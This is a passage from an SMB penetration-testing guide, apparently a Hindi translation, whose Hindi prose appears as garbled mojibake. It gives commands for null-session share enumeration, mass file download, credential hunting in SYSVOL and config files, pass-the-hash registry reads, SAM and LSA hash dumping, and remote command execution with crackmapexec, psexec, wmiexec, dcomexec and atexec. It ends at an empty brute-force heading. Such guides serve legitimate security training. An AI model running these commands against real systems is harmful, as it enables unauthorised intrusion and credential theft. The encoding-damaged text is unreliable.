||
|
||
рдпрд╣ рд╣рдореЗрд╢рд╛ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╣реИ рдХрд┐ рдЖрдк рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдХрд┐рд╕реА рдЪреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдирд╣реАрдВ рд╣реИрдВ рддреЛ **null** **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рдЕрддрд┐рдерд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
|
||
```bash
|
||
smbclient --no-pass -L //<IP> # Null user
|
||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||
|
||
smbmap -H <IP> [-P <PORT>] #Null user
|
||
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
|
||
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
|
||
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
|
||
|
||
crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||
```
|
||
### **рдПрдХ рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ/рд╕реВрдЪреА рдмрдирд╛рдПрдВ**
|
||
```bash
|
||
#Connect using smbclient
|
||
smbclient --no-pass //<IP>/<Folder>
|
||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
|
||
|
||
#List with smbmap, without folder it list everything
|
||
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
|
||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||
```
|
||
### **рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рдВрдбреЛрдЬрд╝ рд╢реЗрдпрд░реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ рдФрд░ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ**
|
||
|
||
рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣реЛрд╕реНрдЯ рдорд╢реАрди рдХреЗ рдХрд┐рд╕реА рднреА рд╢реЗрдпрд░ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ рдФрд░ рдЬрдм рдЖрдк рдЙрдиреНрд╣реЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдРрд╕рд╛ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдИ рд╢реЗрдпрд░ рдирд╣реАрдВ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдХрд┐рд╕реА рд╢реЗрдпрд░ рд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ рд╕рд╛рд░реНрдердХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рд╢реЗрдпрд░реЛрдВ рдХреА рдореИрдиреНрдпреБрдЕрд▓ рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк NT\_STATUS\_ACCESS\_DENIED рдФрд░ NT\_STATUS\_BAD\_NETWORK\_NAME рдЬреИрд╕реЗ рдЙрддреНрддрд░реЛрдВ рдХреА рддрд▓рд╛рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрдм рдЖрдк рдПрдХ рдорд╛рдиреНрдп рд╕рддреНрд░ (рдЬреИрд╕реЗ, рдирд▓ рд╕рддреНрд░ рдпрд╛ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВред рдпреЗ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╢реЗрдпрд░ рдореМрдЬреВрдж рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕рдХрд╛ рдПрдХреНрд╕реЗрд╕ рдирд╣реАрдВ рд╣реИ рдпрд╛ рд╢реЗрдпрд░ рдмрд┐рд▓реНрдХреБрд▓ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИред
|
||
|
||
рд╡рд┐рдВрдбреЛрдЬрд╝ рд▓рдХреНрд╖реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо рд╣реИрдВ
|
||
|
||
* C$
|
||
* D$
|
||
* ADMIN$
|
||
* IPC$
|
||
* PRINT$
|
||
* FAX$
|
||
* SYSVOL
|
||
* NETLOGON
|
||
|
||
( _**рдиреЗрдЯрд╡рд░реНрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЖрдХрд▓рди 3рд░реА рд╕рдВрд╕реНрдХрд░рдг**_ рд╕реЗ рд╕рд╛рдорд╛рдиреНрдп рд╢реЗрдпрд░ рдирд╛рдо)
|
||
|
||
рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдирд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
|
||
```bash
|
||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||
```
|
||
рдпрд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ (рдПрдХ рд╢реВрдиреНрдп рд╕рддреНрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП)
|
||
```bash
|
||
#/bin/bash
|
||
|
||
ip='<TARGET-IP-HERE>'
|
||
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
|
||
|
||
for share in ${shares[*]}; do
|
||
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
|
||
|
||
if [[ -z $output ]]; then
|
||
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
|
||
else
|
||
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
|
||
fi
|
||
done
|
||
```
|
||
рдЙрджрд╛рд╣рд░рдг
|
||
```bash
|
||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||
```
|
||
### **Windows рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ / рдмрд┐рдирд╛ рдерд░реНрдб-рдкрд╛рд░реНрдЯреА рдЯреВрд▓ рдХреЗ**
|
||
|
||
PowerShell
|
||
```powershell
|
||
# Retrieves the SMB shares on the locale computer.
|
||
Get-SmbShare
|
||
Get-WmiObject -Class Win32_Share
|
||
# Retrieves the SMB shares on a remote computer.
|
||
get-smbshare -CimSession "<computer name or session object>"
|
||
# Retrieves the connections established from the local SMB client to the SMB servers.
|
||
Get-SmbConnection
|
||
```
|
||
CMD рдХрдВрд╕реЛрд▓
|
||
```shell
|
||
# List shares on the local computer
|
||
net share
|
||
# List shares on a remote computer (including hidden ones)
|
||
net view \\<ip> /all
|
||
```
|
||
MMC рд╕реНрдиреИрдк-рдЗрди (рдЧреНрд░рд╛рдлрд┐рдХрд▓)
|
||
```shell
|
||
# Shared Folders: Shared Folders > Shares
|
||
fsmgmt.msc
|
||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||
compmgmt.msc
|
||
```
|
||
explorer.exe (рдЧреНрд░рд╛рдлрд┐рдХрд▓), рдЙрдкрд▓рдмреНрдз рдЧреИрд░-рдЫрд┐рдкреЗ рд╣реБрдП рд╢реЗрдпрд░ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП `\\<ip>\` рджрд░реНрдЬ рдХрд░реЗрдВред
|
||
|
||
### рд╕рд╛рдЭрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ
|
||
```bash
|
||
mount -t cifs //x.x.x.x/share /mnt/share
|
||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||
```
|
||
### **рдлрд╛рдЗрд▓реЗрдВ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ**
|
||
|
||
рдкрдВрдЬреАрдХрд░рдг/рдкрд╛рд╕-рде-рд╣реИрд╢ рдХреЗ рд╕рд╛рде рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдкрдврд╝реЗрдВред
|
||
```bash
|
||
#Search a file and download
|
||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||
```
|
||
|
||
```bash
|
||
#Download all
|
||
smbclient //<IP>/<share>
|
||
> mask ""
|
||
> recurse
|
||
> prompt
|
||
> mget *
|
||
#Download everything to current directory
|
||
```
|
||
Commands:
|
||
|
||
* mask: рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреМрди рд╕рд╛ рдорд╛рд╕реНрдХ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬреИрд╕реЗ "" рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд▓рд┐рдП)
|
||
* recurse: рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХреЛ рдЪрд╛рд▓реВ рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдмрдВрдж)
|
||
* prompt: рдлрд╝рд╛рдЗрд▓ рдирд╛рдореЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рдХреЛ рдмрдВрдж рдХрд░рддрд╛ рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ: рдЪрд╛рд▓реВ)
|
||
* mget: рд╣реЛрд╕реНрдЯ рд╕реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдорд╢реАрди рдкрд░ рдорд╛рд╕реНрдХ рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рдкреНрд░рддрд┐рд▓рд┐рдкрд┐ рдмрдирд╛рддрд╛ рд╣реИ
|
||
|
||
(_Information from the manpage of smbclient_)
|
||
|
||
### Domain Shared Folders Search
|
||
|
||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||
```bash
|
||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||
```
|
||
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) рд╕реНрдкрд╛рдЗрдбрд░ред
|
||
* `-M spider_plus [--share <share_name>]`
|
||
* `--pattern txt`
|
||
```bash
|
||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||
```
|
||
рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╢реЗрдпрд░реЛрдВ рдореЗрдВ **`Registry.xml`** рдирд╛рдордХ рдлрд╝рд╛рдЗрд▓реЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ **рдкрд╛рд╕рд╡рд░реНрдб** рд░рдЦ рд╕рдХрддреА рд╣реИрдВ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ **autologon** рдХреЗ рд╕рд╛рде Group Policy рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд╣реИрдВред рдпрд╛ **`web.config`** рдлрд╝рд╛рдЗрд▓реЗрдВ рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд░рдЦрддреА рд╣реИрдВред
|
||
|
||
{% hint style="info" %}
|
||
**SYSVOL рд╢реЗрдпрд░** рд╕рднреА рдкреНрд░рдорд╛рдгрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ **рдкрдврд╝рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ** рдбреЛрдореЗрди рдореЗрдВред рд╡рд╣рд╛рдБ рдЖрдк рдХрдИ рд╡рд┐рднрд┐рдиреНрди рдмреИрдЪ, VBScript, рдФрд░ PowerShell **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** **рдкрд╛рдПрдВрдЧреЗ**ред\
|
||
рдЖрдкрдХреЛ рдЗрд╕рдХреЗ рдЕрдВрджрд░ рдХреА **рд╕реНрдХреНрд░рд┐рдкреНрдЯ** рдХреА **рдЬрд╛рдВрдЪ** рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдЬреИрд╕реЗ **рдкрд╛рд╕рд╡рд░реНрдб** **рдкрд╛рдПрдВрдЧреЗ**ред
|
||
{% endhint %}
|
||
|
||
## рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝реЗрдВ
|
||
|
||
рдЖрдк рдХреБрдЫ рдЦреЛрдЬреЗ рдЧрдП рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрдврд╝рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред Impacket **`reg.py`** рдЖрдкрдХреЛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:
|
||
```bash
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||
```
|
||
## Post Exploitation
|
||
|
||
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
|
||
|
||
| **Setting** | **Description** |
|
||
| --------------------------- | ------------------------------------------------------------------- |
|
||
| `browseable = yes` | рдХреНрдпрд╛ рд╡рд░реНрддрдорд╛рди рд╢реЗрдпрд░ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╢реЗрдпрд░реЛрдВ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ? |
|
||
| `read only = no` | рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рдкрд░ рд░реЛрдХ рд▓рдЧрд╛рдИ рдЬрд╛рдП? |
|
||
| `writable = yes` | рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ? |
|
||
| `guest ok = yes` | рдХреНрдпрд╛ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ? |
|
||
| `enable privileges = yes` | рдХреНрдпрд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ SID рдХреЛ рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЧрдП рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╕рдореНрдорд╛рди рдХрд┐рдпрд╛ рдЬрд╛рдП? |
|
||
| `create mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдХреМрди рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП? |
|
||
| `directory mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдХреЛ рдХреМрди рд╕реЗ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдЕрд╕рд╛рдЗрди рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП? |
|
||
| `logon script = script.sh` | рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рдкрд░ рдХреМрди рд╕рд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
|
||
| `magic script = script.sh` | рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдВрдж рд╣реЛрдиреЗ рдкрд░ рдХреМрди рд╕рд╛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
|
||
| `magic output = script.out` | рдЬрд╛рджреБрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдХрд╣рд╛рдБ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? |
|
||
|
||
The command `smbstatus` gives information about the **server** and about **who is connected**.
|
||
|
||
## Authenticate using Kerberos
|
||
|
||
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
|
||
```bash
|
||
smbclient --kerberos //ws01win10.domain.com/C$
|
||
rpcclient -k ws01win10.domain.com
|
||
```
|
||
## **рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ**
|
||
|
||
### **crackmapexec**
|
||
|
||
crackmapexec рдХрд┐рд╕реА рднреА **mmcexec, smbexec, atexec, wmiexec** рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд░рдХреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ **wmiexec** **рдбрд┐рдлрд╝реЙрд▓реНрдЯ** рд╡рд┐рдзрд┐ рд╣реИред рдЖрдк рдкреИрд░рд╛рдореАрдЯрд░ `--exec-method` рдХреЗ рд╕рд╛рде рдЕрдкрдиреА рдкрд╕рдВрдж рдХреА рд╡рд┐рдХрд▓реНрдк рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
|
||
```bash
|
||
apt-get install crackmapexec
|
||
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
|
||
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
|
||
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
|
||
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
|
||
|
||
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||
```
|
||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||
|
||
рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк **рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдПрдВрдЧреЗ** (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ _\pipe\svcctl_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ) рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдореЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ (**psexec** **рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдХреЛ ADMIN$ рд╢реЗрдпрд░ рдкрд░ **рдЕрдкрд▓реЛрдб** рдХрд░реЗрдЧрд╛ рдФрд░ **smbexec** **cmd.exe/powershell.exe** рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рддрд░реНрдХреЛрдВ рдореЗрдВ рдкреЗрд▓реЛрдб рдбрд╛рд▓реЗрдЧрд╛ --**рдлрд╛рдЗрд▓-рд▓реЗрд╕ рддрдХрдиреАрдХ-**-)ред\
|
||
**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** рдХреЗ рд▓рд┐рдП [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)рдФрд░ [**smbexec**](../windows-hardening/ntlm/smbexec.md)ред\
|
||
**kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./psexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||
```
|
||
Using **parameter**`-k` рдЖрдк **kerberos** рдХреЗ рдЦрд┐рд▓рд╛рдл рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдмрдЬрд╛рдп **NTLM** рдХреЗред
|
||
|
||
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
|
||
|
||
рдЪреБрдкрдЪрд╛рдк рдПрдХ рдХрдорд╛рдВрдб рд╢реЗрд▓ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ рдмрд┐рдирд╛ рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдпрд╛ рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдЪрд▓рд╛рдП **port 135** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ DCOM рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред\
|
||
**kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
|
||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдХреЗрд░рдмреЛрд╕** рдХреЗ рдЦрд┐рд▓рд╛рдл **NTLM** рдХреЗ рдмрдЬрд╛рдп рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
|
||
```bash
|
||
#If no password is provided, it will be prompted
|
||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
|
||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||
```
|
||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||
|
||
SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЯрд╛рд╕реНрдХ рд╢реЗрдбреНрдпреВрд▓рд░ рдХреЗ рдЬрд░рд┐рдП рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (_\pipe\atsvc_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)ред\
|
||
**kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИред
|
||
```bash
|
||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
|
||
```
|
||
## Impacket рд╕рдВрджрд░реНрдн
|
||
|
||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||
|
||
## **рдпреВрдЬрд░реНрд╕ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХрд╛ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕**
|
||
|
||
